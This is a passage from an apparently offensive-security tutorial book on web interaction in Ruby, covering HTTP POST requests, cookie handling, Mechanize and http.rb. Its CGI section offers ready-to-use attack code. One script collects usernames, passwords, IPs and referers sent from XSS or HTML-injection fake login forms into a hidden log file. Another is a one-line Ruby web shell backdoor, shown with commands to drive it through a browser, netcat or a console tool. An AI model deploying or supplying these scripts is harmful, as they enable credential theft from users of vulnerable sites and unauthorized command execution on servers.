<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-title">FORM</span> <span class="hljs-attribute">METHOD</span>=<span class="hljs-value">POST</span> <span class="hljs-attribute">ACTION</span>=<span class="hljs-value">&quot;http://wwwx.cs.unc.edu/~jbs/aw-wwwp/docs/resources/perl/perl-cgi/programs/cgi_stdin.cgi&quot;</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-title">P</span>&gt;</span>Name field: <span class="hljs-tag">&lt;<span class="hljs-title">INPUT</span> <span class="hljs-attribute">TYPE</span>=<span class="hljs-value">&quot;text&quot;</span> <span class="hljs-attribute">Name</span>=<span class="hljs-value">&quot;name&quot;</span> <span class="hljs-attribute">SIZE</span>=<span class="hljs-value">30</span> <span class="hljs-attribute">VALUE</span> = &quot;<span class="hljs-attribute">You</span> <span class="hljs-attribute">name</span>&quot;&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-title">P</span>&gt;</span>Name field: <span class="hljs-tag">&lt;<span class="hljs-title">TEXTAREA</span> <span class="hljs-attribute">TYPE</span>=<span class="hljs-value">&quot;textarea&quot;</span> <span class="hljs-attribute">ROWS</span>=<span class="hljs-value">5</span> <span class="hljs-attribute">COLS</span>=<span class="hljs-value">30</span> <span class="hljs-attribute">Name</span>=<span class="hljs-value">&quot;textarea&quot;</span>&gt;</span>Your comment.<span class="hljs-tag">&lt;/<span class="hljs-title">TEXTAREA</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-title">P</span>&gt;</span>Your age: <span class="hljs-tag">&lt;<span class="hljs-title">INPUT</span> <span class="hljs-attribute">TYPE</span>=<span class="hljs-value">&quot;radio&quot;</span> <span class="hljs-attribute">NAME</span>=<span class="hljs-value">&quot;radiobutton&quot;</span> <span class="hljs-attribute">VALUE</span>=<span class="hljs-value">&quot;youngun&quot;</span>&gt;</span> younger than 21,
    <span class="hljs-tag">&lt;<span class="hljs-title">INPUT</span> <span class="hljs-attribute">TYPE</span>=<span class="hljs-value">&quot;radio&quot;</span> <span class="hljs-attribute">NAME</span>=<span class="hljs-value">&quot;radiobutton&quot;</span> <span class="hljs-attribute">VALUE</span>=<span class="hljs-value">&quot;middleun&quot;</span> <span class="hljs-attribute">CHECKED</span>&gt;</span> 21 -59,
    <span class="hljs-tag">&lt;<span class="hljs-title">INPUT</span> <span class="hljs-attribute">TYPE</span>=<span class="hljs-value">&quot;radio&quot;</span> <span class="hljs-attribute">NAME</span>=<span class="hljs-value">&quot;radiobutton&quot;</span> <span class="hljs-attribute">VALUE</span>=<span class="hljs-value">&quot;oldun&quot;</span>&gt;</span> 60 or older

    <span class="hljs-tag">&lt;<span class="hljs-title">P</span>&gt;</span>Things you like:
    <span class="hljs-tag">&lt;<span class="hljs-title">INPUT</span> <span class="hljs-attribute">TYPE</span>=<span class="hljs-value">&quot;checkbox&quot;</span> <span class="hljs-attribute">NAME</span>=<span class="hljs-value">&quot;checkedbox&quot;</span> <span class="hljs-attribute">VALUE</span>=<span class="hljs-value">&quot;pizza&quot;</span> <span class="hljs-attribute">CHECKED</span>&gt;</span>pizza,
    <span class="hljs-tag">&lt;<span class="hljs-title">INPUT</span> <span class="hljs-attribute">TYPE</span>=<span class="hljs-value">&quot;checkbox&quot;</span> <span class="hljs-attribute">NAME</span>=<span class="hljs-value">&quot;checkedbox&quot;</span> <span class="hljs-attribute">VALUE</span>=<span class="hljs-value">&quot;hamburgers&quot;</span> <span class="hljs-attribute">CHECKED</span>&gt;</span>hamburgers,
    <span class="hljs-tag">&lt;<span class="hljs-title">INPUT</span> <span class="hljs-attribute">TYPE</span>=<span class="hljs-value">&quot;checkbox&quot;</span> <span class="hljs-attribute">NAME</span>=<span class="hljs-value">&quot;checkedbox&quot;</span> <span class="hljs-attribute">VALUE</span>=<span class="hljs-value">&quot;spinich&quot;</span>&gt;</span>spinich,
    <span class="hljs-tag">&lt;<span class="hljs-title">INPUT</span> <span class="hljs-attribute">TYPE</span>=<span class="hljs-value">&quot;checkbox&quot;</span> <span class="hljs-attribute">NAME</span>=<span class="hljs-value">&quot;checkedbox&quot;</span> <span class="hljs-attribute">VALUE</span>=<span class="hljs-value">&quot;mashed potatoes&quot;</span> <span class="hljs-attribute">CHECKED</span>&gt;</span>mashed potatoes

    <span class="hljs-tag">&lt;<span class="hljs-title">P</span>&gt;</span>What you like most:
    <span class="hljs-tag">&lt;<span class="hljs-title">SELECT</span> <span class="hljs-attribute">NAME</span>=<span class="hljs-value">&quot;selectitem&quot;</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-title">OPTION</span>&gt;</span>pizza<span class="hljs-tag">&lt;<span class="hljs-title">OPTION</span>&gt;</span>hamburgers<span class="hljs-tag">&lt;<span class="hljs-title">OPTION</span> <span class="hljs-attribute">SELECTED</span>&gt;</span>spinich<span class="hljs-tag">&lt;<span class="hljs-title">OPTION</span>&gt;</span>mashed potatoes<span class="hljs-tag">&lt;<span class="hljs-title">OPTION</span>&gt;</span>other
    <span class="hljs-tag">&lt;/<span class="hljs-title">SELECT</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-title">P</span>&gt;</span>Reset: <span class="hljs-tag">&lt;<span class="hljs-title">INPUT</span> <span class="hljs-attribute">TYPE</span>=<span class="hljs-value">&quot;reset&quot;</span> &gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-title">P</span>&gt;</span>Submit: <span class="hljs-tag">&lt;<span class="hljs-title">INPUT</span> <span class="hljs-attribute">TYPE</span>=<span class="hljs-value">&quot;submit&quot;</span> <span class="hljs-attribute">NAME</span>=<span class="hljs-value">&quot;submitbutton&quot;</span> <span class="hljs-attribute">VALUE</span>=<span class="hljs-value">&quot;Do it!&quot;</span> <span class="hljs-attribute">ACTION</span>=<span class="hljs-value">&quot;SEND&quot;</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-title">FORM</span>&gt;</span>
</code></pre>
<p>We need to send a Post request as the form figure 1 would do with control on each value and variable.</p>
<pre><code class="lang-ruby"><span class="hljs-keyword">require</span> <span class="hljs-string">&quot;net/http&quot;</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&quot;uri&quot;</span>

<span class="hljs-comment"># Parsing the URL and instantiate http</span>
uri = <span class="hljs-constant">URI</span>.parse(<span class="hljs-string">&quot;http://wwwx.cs.unc.edu/~jbs/aw-wwwp/docs/resources/perl/perl-cgi/programs/cgi_stdin.cgi&quot;</span>)
http = <span class="hljs-constant">Net::HTTP</span>.new(uri.host, uri.port)
http.use_ssl = <span class="hljs-keyword">true</span> <span class="hljs-keyword">if</span> uri.scheme == <span class="hljs-string">&apos;https&apos;</span>    <span class="hljs-comment"># Enable HTTPS support if it&apos;s HTTPS</span>

<span class="hljs-comment"># Instantiate HTTP Post request</span>
request = <span class="hljs-constant">Net::HTTP::Post</span>.new(uri.request_uri)

<span class="hljs-comment"># Headers</span>
request[<span class="hljs-string">&quot;Accept&quot;</span>] = <span class="hljs-string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;</span>
request[<span class="hljs-string">&quot;User-Agent&quot;</span>] = <span class="hljs-string">&quot;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0&quot;</span>
request[<span class="hljs-string">&quot;Referer&quot;</span>] = <span class="hljs-string">&quot;http://www.cs.unc.edu/~jbs/resources/perl/perl-cgi/programs/form1-POST.html&quot;</span>
request[<span class="hljs-string">&quot;Connection&quot;</span>] = <span class="hljs-string">&quot;keep-alive&quot;</span>
request[<span class="hljs-string">&quot;Accept-Language&quot;</span>] = <span class="hljs-string">&quot;en-US,en;q=0.5&quot;</span>
request[<span class="hljs-string">&quot;Accept-Encoding&quot;</span>] = <span class="hljs-string">&quot;gzip, deflate&quot;</span>
request[<span class="hljs-string">&quot;Content-Type&quot;</span>] = <span class="hljs-string">&quot;application/x-www-form-urlencoded&quot;</span>

<span class="hljs-comment"># Post body</span>
request.set_form_data({
                          <span class="hljs-string">&quot;name&quot;</span>         =&gt; <span class="hljs-string">&quot;My title is here&quot;</span>,
                          <span class="hljs-string">&quot;textarea&quot;</span>     =&gt; <span class="hljs-string">&quot;My grate message here.&quot;</span>,
                          <span class="hljs-string">&quot;radiobutton&quot;</span>  =&gt; <span class="hljs-string">&quot;middleun&quot;</span>,
                          <span class="hljs-string">&quot;checkedbox&quot;</span>   =&gt; <span class="hljs-string">&quot;pizza&quot;</span>,
                          <span class="hljs-string">&quot;checkedbox&quot;</span>   =&gt; <span class="hljs-string">&quot;hamburgers&quot;</span>,
                          <span class="hljs-string">&quot;checkedbox&quot;</span>   =&gt; <span class="hljs-string">&quot;mashed potatoes&quot;</span>,
                          <span class="hljs-string">&quot;selectitem&quot;</span>   =&gt; <span class="hljs-string">&quot;hamburgers&quot;</span>,
                          <span class="hljs-string">&quot;submitbutton&quot;</span> =&gt; <span class="hljs-string">&quot;Do it!&quot;</span>
                      })

<span class="hljs-comment"># Receive the response</span>
response = http.request(request)

puts <span class="hljs-string">&quot;Status code: &quot;</span> + response.code
puts <span class="hljs-string">&quot;Response body: &quot;</span> + response.body
</code></pre>
<h2 id="dealing-with-cookies"><a name="dealing-with-cookies" class="plugin-anchor" href="#dealing-with-cookies"><span class="fa fa-link"></span></a>Dealing with Cookies</h2>
<p>Some times you need to deal with some actions after authentication. Ideally, it&apos;s all about cookies.</p>
<p>Notes: </p>
<ul>
<li>To Read cookies you need to get <strong>set-cookie</strong> from <strong>response</strong></li>
<li>To Set cookies you need to set <strong>Cookie</strong> to <strong>request</strong> </li>
</ul>
<pre><code class="lang-ruby">puts <span class="hljs-string">&quot;[*] Logging-in&quot;</span>
uri1 = <span class="hljs-constant">URI</span>.parse(<span class="hljs-string">&quot;http://host/login.aspx&quot;</span>)
uri2 = <span class="hljs-constant">URI</span>.parse(<span class="hljs-string">&quot;http://host/report.aspx&quot;</span>)

<span class="hljs-constant">Net::HTTP</span>.start(uri1.host, uri1.port) <span class="hljs-keyword">do</span> |http|
  http.use_ssl = <span class="hljs-keyword">true</span> <span class="hljs-keyword">if</span> uri1.scheme == <span class="hljs-string">&apos;https&apos;</span>    <span class="hljs-comment"># Enable HTTPS support if it&apos;s HTTPS</span>
  puts <span class="hljs-string">&quot;[*] Logging in&quot;</span>
  p_request  = <span class="hljs-constant">Net::HTTP::Post</span>.new(uri1)
  p_request.set_form_data({<span class="hljs-string">&quot;loginName&quot;</span>=&gt;<span class="hljs-string">&quot;admin&quot;</span>, <span class="hljs-string">&quot;password&quot;</span>=&gt;<span class="hljs-string">&quot;P@ssw0rd&quot;</span>})
  p_response = http.request(p_request)
  cookies    = p_response.response[<span class="hljs-string">&apos;set-cookie&apos;</span>]    <span class="hljs-comment"># Save Cookies</span>

  puts <span class="hljs-string">&quot;[*] Do Post-authentication actions&quot;</span>
  <span class="hljs-constant">Net::HTTP::Get</span>.new(uri2)
  g_request  = <span class="hljs-constant">Net::HTTP::Get</span>.new(uri2)
  g_request[<span class="hljs-string">&apos;Cookie&apos;</span>] = cookies                     <span class="hljs-comment"># Restore Saved Cookies</span>
  g_response = http.request(g_request)
<span class="hljs-keyword">end</span>
</code></pre>
<h2 id="cgi"><a name="cgi" class="plugin-anchor" href="#cgi"><span class="fa fa-link"></span></a>CGI</h2>
<h3 id="get-info--from-xsshtmli-exploitation"><a name="get-info--from-xsshtmli-exploitation" class="plugin-anchor" href="#get-info--from-xsshtmli-exploitation"><span class="fa fa-link"></span></a>Get info - from XSS/HTMLi exploitation</h3>
<p>When you exploit XSS or HTML injection you may need to receive the grepped data from exploited user to your external server. Here a simple example of CGI script take sent get request from fake login from that asks users to enter log-in with username and password then will store the data to <code>hacked_login.txt</code> text file and fix its permissions to assure that nobody can access that file from public.</p>
<p>Add the following to <code>/etc/apache2/sites-enabled/[SITE]</code> then restart the service</p>
<pre><code>&lt;Directory /var/www/[CGI FOLDER]&gt;
        AddHandler cgi-script .rb
        Options +ExecCGI
&lt;/Directory&gt;
</code></pre><p>Now, put the script in /var/www/[CGI FOLDER]. You can use it now.</p>
<pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/ruby</span>
<span class="hljs-comment"># CGI script gets user/pass | http://attacker/info.rb?user=USER&amp;pass=PASS</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;cgi&apos;</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;uri&apos;</span>

cgi  = <span class="hljs-constant">CGI</span>.new
cgi.header  <span class="hljs-comment"># content type &apos;text/html&apos;</span>
user = <span class="hljs-constant">URI</span>.encode cgi[<span class="hljs-string">&apos;user&apos;</span>]
pass = <span class="hljs-constant">URI</span>.encode cgi[<span class="hljs-string">&apos;pass&apos;</span>]
time = <span class="hljs-constant">Time</span>.now.strftime(<span class="hljs-string">&quot;%D %T&quot;</span>)

file = <span class="hljs-string">&apos;hacked_login.txt&apos;</span>
<span class="hljs-constant">File</span>.open(file, <span class="hljs-string">&quot;a&quot;</span>) <span class="hljs-keyword">do</span> |f|
  f.puts time   <span class="hljs-comment"># Time of receiving the get request</span>
  f.puts <span class="hljs-string">&quot;<span class="hljs-subst">#{<span class="hljs-constant">URI</span>.decode user}</span>:<span class="hljs-subst">#{<span class="hljs-constant">URI</span>.decode pass}</span>&quot;</span>    <span class="hljs-comment"># The data</span>
  f.puts cgi.remote_addr    <span class="hljs-comment"># Remote user IP</span>
  f.puts cgi.referer    <span class="hljs-comment"># The vulnerable site URL</span>
  f.puts <span class="hljs-string">&quot;---------------------------&quot;</span>
<span class="hljs-keyword">end</span>
<span class="hljs-constant">File</span>.chmod(<span class="hljs-number">0200</span>, file)  <span class="hljs-comment"># To prevent public access to the log file</span>

puts <span class="hljs-string">&quot;&quot;</span>
</code></pre>
<h3 id="web-shell1--command-execution-via-get"><a name="web-shell1--command-execution-via-get" class="plugin-anchor" href="#web-shell1--command-execution-via-get"><span class="fa fa-link"></span></a>Web Shell<sup><a href="#fn_1" id="reffn_1">1</a></sup> - command execution via GET</h3>
<p>if you have a server that supports ruby CGI, you can use the following as backdoor</p>
<pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;cgi&apos;</span>
cgi = <span class="hljs-constant">CGI</span>.new
puts cgi.header
system(cgi[<span class="hljs-string">&apos;cmd&apos;</span>])
</code></pre>
<p>Now you can simply use a web browser, Netcat or WebShellConsole<sup><a href="#fn_1" id="reffn_1">1</a></sup> to execute your commands.
ex.
<strong>Browser</strong></p>
<pre><code>http://host/cgi/shell.rb?cmd=ls -la
</code></pre><p><strong>Netcat</strong></p>
<pre><code>echo &quot;GET /cgi/shell.rb?cmd=ls%20-la&quot; | nc host 80
</code></pre><p><strong>WebShellConsole</strong></p>
<p>run wsc</p>
<pre><code>ruby wsc.rb
</code></pre><p>Add Shell URL</p>
<pre><code>Shell -&gt; set http://host/cgi/shell.rb?cmd=
</code></pre><p>Now prompt your commands</p>
<pre><code>Shell -&gt; ls -la
</code></pre><h2 id="mechanize"><a name="mechanize" class="plugin-anchor" href="#mechanize"><span class="fa fa-link"></span></a>Mechanize</h2>
<p>Since we&apos;re talking about dealing with web in ruby, we can&apos;t forget <strong>Mechanize</strong> gem, the most known library for dealing wit web.</p>
<p><strong>The Official description says</strong>, the Mechanize library is used for automating interaction with websites. Mechanize automatically stores and sends cookies, follows redirects, and can follow links and submit forms. Form fields can be populated and submitted. Mechanize also keeps track of the sites that you have visited as a history.</p>
<p>More about Mechanize gem</p>
<ul>
<li><a href="http://docs.seattlerb.org/mechanize/GUIDE_rdoc.html" target="_blank">Getting Started With Mechanize</a></li>
<li><a href="http://docs.seattlerb.org/mechanize/EXAMPLES_rdoc.html" target="_blank">Mechanize examples</a></li>
<li><a href="http://railscasts.com/episodes/191-mechanize" target="_blank">RailsCasts | Mechanize tutorial</a></li>
</ul>
<p>Since you know the hard way, you&apos;ll find Mechanize as simple as mouse clicks! give it a try!</p>
<h2 id="httprb"><a name="httprb" class="plugin-anchor" href="#httprb"><span class="fa fa-link"></span></a>HTTP.rb</h2>
<p>HTTP (The Gem! a.k.a. http.rb) is an easy-to-use client library for making requests from Ruby. It uses a simple method chaining system for building requests, similar to Python&apos;s Requests.</p>
<p>Under the hood, http.rb uses http_parser.rb, a fast HTTP parsing native extension based on the Node.js parser and a Java port thereof. This library isn&apos;t just yet another wrapper around Net::HTTP. It implements the HTTP protocol natively and outsources the parsing to native extensions.</p>
<p>More about http.rb gem</p>
<ul>
<li><a href="https://github.com/httprb/http" target="_blank">The Official repository</a></li>
<li><a href="https://github.com/httprb/http/wiki" target="_blank">The official wiki</a></li>
</ul>
<h2 id=""><a name="" class="plugin-anchor" href="#"><span class="fa fa-link"></span></a><br><br><br></h2>
<blockquote id="fn_1">
<sup>1</sup>. <a href="https://github.com/KINGSABRI/WebShellConsole" target="_blank">WebShellConsole</a> is simple interactive console, interacts with simple web shells using HTTP GET rather than using browser. wsc will work with any shell use GET method. It takes care of all URL encoding too.<a href="#reffn_1" title="Jump back to footnote [1] in the text."> &#x21A9;</a>
</blockquote>
<ul>
<li><a href="http://www.java2s.com/Code/Ruby/CGI/CatalogCGI.htm" target="_blank">CGI Examples</a></li>
</ul>

                    
                    </section>
                
                
                </div>
            </div>
        </div>

        
        <a href="../module_0x3__network_kung_fu/dns_spoofing.html" class="navigation navigation-prev " aria-label="Previous page: DNS Spoofing"><i class="fa fa-angle-left"></i></a>
        
        
        <a href="../module_0x4__web_kung_fu/sql_injection_scanner.html" class="navigation navigation-next " aria-label="Next page: SQL Injection Scanner"><i class="fa fa-angle-right"></i></a>
        
    </div>
</div>

        
<script src="../gitbook/app.js"></script>

    
    <script src="../gitbook/plugins/gitbook-plugin-splitter/splitter.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-book-summary-scroll-position-saver/book-summary-scroll-position-saver.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-search/lunr.min.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-search/search.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-sharing/buttons.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-fontsettings/buttons.js"></script>
    

<script>
require(["gitbook"], function(gitbook) {
    var config = {"addcssjs":{"js":["styles/header.js"]},"anchors":{},"todo":{},"splitter":{},"book-summary-scroll-position-saver":{},"expandable-chapters":{},"highlight":{},"search":{"maxIndexSize":1000000},"sharing":{"facebook":true,"twitter":true,"google":false,"weibo":false,"instapaper":false,"vk":false,"all":["facebook","google","twitter","weibo","instapaper"]},"fontsettings":{"theme":"white","family":"sans","size":2}};
    gitbook.start(config);
});
</script>

        
    </body>
    
</html>
